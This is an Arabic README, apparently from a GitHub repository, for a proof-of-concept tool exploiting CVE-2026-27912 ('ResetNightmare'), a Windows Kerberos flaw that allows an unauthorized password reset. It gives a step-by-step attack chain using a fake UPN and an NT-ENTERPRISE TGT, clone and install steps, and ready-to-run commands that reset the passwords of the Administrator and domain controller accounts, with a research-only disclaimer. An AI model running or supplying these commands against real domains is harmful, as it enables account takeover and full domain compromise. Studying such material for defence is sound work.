
PoC لـ CVE-2026-27912 - رفع الامتيازات في Windows Kerberos (ResetNightmare). إعادة تعيين كلمة المرور بشكل غير مصرح به عبر ثغرة Kerberos. لأغراض البحث الأمني فقط.
CVE-2026-27912 - ثغرة رفع امتيازات في Windows Kerberos
ResetNightmare - إعادة تعيين كلمة مرور غير مصرح بها عبر خلل في بروتوكول Kerberos Change Password.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2026-27912 |
| العنوان | ثغرة رفع امتيازات في Windows Kerberos |
| CVSS | CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-285: Improper Authorization |
| نُشرت | 14 أبريل 2026 |
| تم إصلاحها | أبريل 2026 |
1. Attacker has/creates account with UPN write permissions
2. Sets fake UPN to target's sAMAccountName
3. Requests TGT with NT-ENTERPRISE name type
4. Clears their own UPN
5. Uses TGT to reset target's password
6. Verifies password change success
Install-WindowsFeature RSAT-AD-PowerShell)# Clone repository
git clone https://github.com/oxstussz-eng/Kerberos-CVE-2026-27912.git
cd Kerberos-CVE-2026-27912
# Install dependencies
pip install -r requirements.txt
python resetnightmare.py -t Administrator -p NewPass123 -u AttackUser -up AttackPass
python resetnightmare.py -t DC01$ -p NewPass123 -u AttackUser -up AttackPass -c
python resetnightmare.py -t Admin -p NewPass -u NewUser -up Pass -path "OU=Temp,DC=domain,DC=local"
python resetnightmare.py -t Administrator -p NewPass123 -u AttackUser -up AttackPass -v
لأغراض اختبار الأمان المصرح به والبحث التعليمي فقط.
الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني. لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام هذا البرنامج.
n0vax1337 / باحث أمني
رخصة MIT - انظر LICENSE
آخر تحديث: 2026
| الخيار | الوصف | الافتراضي |
|---|
-t / --target | اسم الحساب المستهدف | مطلوب |
-p / --new-password | كلمة المرور الجديدة للهدف | مطلوب |
-u / --upn-user | الحساب الذي سيتم تعيين UPN وهمي عليه | مطلوب |
-up / --upn-password | كلمة مرور حساب UPN | مطلوب |
-c / --computer | حساب UPNUser هو حساب جهاز | علامة |
-r / --rubeus-path | المسار إلى Rubeus.exe | Rubeus.exe |
-e / --encryption | نوع التشفير المدعوم | AES256 |
-path / --create-path | مسار OU لإنشاء حساب جديد | "" |
-d / --dc | اسم وحدة تحكم المجال | اكتشاف تلقائي |
-v / --verbose | مخرجات تفصيلية | علامة |